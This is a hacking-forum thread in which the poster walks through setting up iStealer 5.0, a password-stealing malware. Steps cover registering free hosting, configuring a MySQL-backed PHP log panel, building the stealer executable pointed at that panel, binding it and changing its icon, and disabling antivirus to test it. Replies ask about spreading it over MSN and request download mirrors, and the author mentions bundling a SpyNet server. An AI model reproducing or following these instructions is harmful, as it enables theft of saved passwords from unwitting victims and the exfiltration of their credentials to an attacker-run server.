Thread: [\[TUT\] iStealer MOD 5.0 **n00b friendly](#)

Anubis - December 14, 2009, 5:18 am

Go here and register.....

<http://x10hosting.com/freehosting.php>

Registration steps

1 Step

First any desired domain..i wil use "wertzui" for an example

2 Step

Second click my account will follow this rule

3 Step

email address - your email adress (no fake email) because you need to confirm

account username - desired username (i will use "wertzui again), u can also use domain name so it will be easier

account password - any password

confirm password - confirm your password

full name - dont need to type your full name type anything like "michael

birth date - any birthdate for ex. "March 15 1989"

country - your country

4 Step

click my account will follow this rule

5 Step

Create New Forum Account

new forum username - I will use "wertzui" again :P but it doesnt matter

account password - any password but use the same password from the step 3

confirm password - confirm the password

Step 6

click my account will follow this rules

Step 7

Goto end of site and tick

I agree to abide by the x10Hosting Terms of Service fully
and untick

I want to join MyView to receive fun and interesting surveys

Than put the code image shown in the picture and click i accept these conditions, continue

Step 8

Click Continue to the next step

Step 9

Wait a page to load and click No thanks, skip offer

Step 10

click Continue to the account panel and login

Then continue to the cPanel and you will see this

enter the code below provided in the email sent to you.

the confirmation email was sent to youremail@email.com

Now go to your email and see the code below and then copy and paste it to the confirmation code box and click submit request

Now when you are logged in you will see this

hosting account creation executing 1:37 pm 1:37 pm

So all you need is just to wait couple of mins..for ex. 2-3 mins approximately and then refresh the page and you will have to put your security question and your answer..so put anything u can remember..and then click save security response and then u will be redirected to a page and u will see this

YOU`VE BEEN REGISTERED

[now click the link provided like on this picture]

[IMG]http://i48.[censored].com/6if8yf.jpg[/IMG]

So now we have this picture scroll down and find SQL Database and click it

[IMG]http://i45.[censored].com/7298oo.jpg[/IMG]

Now we have this picture

Spoiler ([Click to View](#))

[IMG]http://img62.imageshack.us/img62/777/57304630.png[/IMG]

Now type name of the database (i will use steals) and click create database and u will see added the database (your username_nameofthedatabase) so it is (wertzui_steals) for me

now scroll down to MySQL Users

Add New User (like always i will use wertzui again and old password)

U will see that user is added--than click go back..

Now at the end u will see ADD USER TO DATABASE..Chose the user you created and below choose the database you created and click add

Now you will be redirected to another page..with privileges..just tick ALL PRIVILEGES and then click MAKE CHANGES

DOWNLOAD iStealer from here

http://#.com/files/264306122/iStealer_5.0.1.rar

http://www.2shared.com/file/9351634/60750b27/istealer_50.html

<http://www.multiupload.com/9EHDJYBPR1>

When you download it Open iStealer5.1\PHP Logger\index.php and edit the configuration information.

All of the information is commented at the side..

Spoiler [\(Click to View\)](#)[img]http://img253.imageshack.us/img253/2306/57304630u.png[/img]

dbHost---leave cocalhost

dbUser---Database username u added

dbPass--Database password for the user u created

Username: Your cPanel username

Password: Your cPanel password

When you are done with editing save it..

Now go to your cPanel and upload the files from iStealer folder

upload index.php(the file u edited) & style.css

Spoiler [\(Click to View\)](#)[img]http://img62.imageshack.us/img62/2306/57304630u.png[/img]

Now go to upload and you will be redirected to another site ..click browse..and find index.php than click browse and find style.css and click upload..when upload is over..we are almost done...

After this, your iStealer is set up, and it goes like this

<http://www.yourwebsite.x10hosting.com/index.php>

for me

<http://www.wertzui.x10hosting.com/index.php>

Now open iStealer and type all the information

in URL box paste your site (<http://www.yourwebsite.x10hosting.com/index.php>)

Spoiler [\(Click to View\)](#)[img]http://i30.[censored].com/2lm2w4p.jpg[/img]

Bind it if necessary..and change the icon..than click build...and THATS IT...Try server on yourself..disable AVP and open it..than go to your site (

<http://www.yourwebsite.x10hosting.com/index.php>) and login with your cPanel login..and see if the logs are there...:P

THAT WAS ALL....WHY PAY SOMEONE WHEN YOU CAN DO THIS BY YOURSELF

CHECK THIS OUT ---> [SPREADING](#)

....Finallllyyyy doneee...?

terr0r - December 14, 2009, 5:21 am

Nice tut mate, reading all of it atm :), should share some spreading methods for some members if you got the time :)

Anubis - December 14, 2009, 5:24 am

i will make the thread about spreading.....definetly :P sry for my english :S

Soul Collector - December 14, 2009, 5:39 am

Its already been posted like 5-6 times. But still its nice tut really clear and good

Anubis - December 14, 2009, 6:05 am

Here i made a thread about spreading..CHECK IT OUT

Noup i put my SpyNet server with it..

fozzy - January 13, 2010, 10:01 am

iv just followed your tutorial on istealer 5.0, iv logged in to my account online to manage the logs.

I sent it them using msn, and all their emails have come up but logs?

it just shows their email, ip address and stuff.. were are the actual logs?

wanna_hacker - January 13, 2010, 10:32 am

is it called autorun exe ? mean when some one click at site/forums link an keylogger/stealer exe will autorun at his/her pc invisibly ? am i right ?

Anubis - January 14, 2010, 2:11 am

What do u mean ...What do you think logs is?

u get their passwords if they have saved it on their pc...

Webman.io - January 22, 2010, 3:41 am

How can it enter the logs to the host, if no password is typed..

Does it takes the username and password from the index.php?

And where does it post the logs..

In the database?

pikbo - January 22, 2010, 3:43 am

thanks good tut :)!!

Morph3s - January 22, 2010, 6:41 am

Is it backdoored , This .exe file is A little bit bigger than other istealer versions on HF , Be aware people

BIGboy! - January 22, 2010, 8:44 am

Good work mate. Hopefully this will put an end to the ridicules amount of people that make threads asking for help setting it up.

-BIGboy!

You are backdoored!???

HaCkErZ60 - February 27, 2010, 11:48 am

Thanks you , nice tutorial ; very detailes , and very useful =D !!

tobi7400 - July 15, 2013, 11:16 pm

I'm sorry to tell but the links is down :(Can you please send me a link to istealer?

whyso - January 16, 2014, 10:19 am

Fucking Awesome tutorial man. Thanks, I'll be doing this later. ?

airclay - January 16, 2014, 8:52 pm

finding great reads tonight!

Thx!!

Sotiroww - November 26, 2014, 11:22 pm

Dude, can you provide mirror link ? I cannot download it -_-

LeBon - November 26, 2014, 11:31 pm

Wow nice tutorial bro, could please just update the download link, it has stopped working bro..

Anubis - November 28, 2014, 2:00 am

I realize that the download links are down..they've been down for quite some time already.

I may re-upload the links in the near future.

JustLoose - November 28, 2014, 2:23 am

Very good tutoril, but link is'nt working update pls

caerus - December 28, 2014, 2:39 pm

Great TuT buddy, thanks for the free hosting offer but is it stable for a stealer panel?
anyone know a reliable dns service to use with this setup?
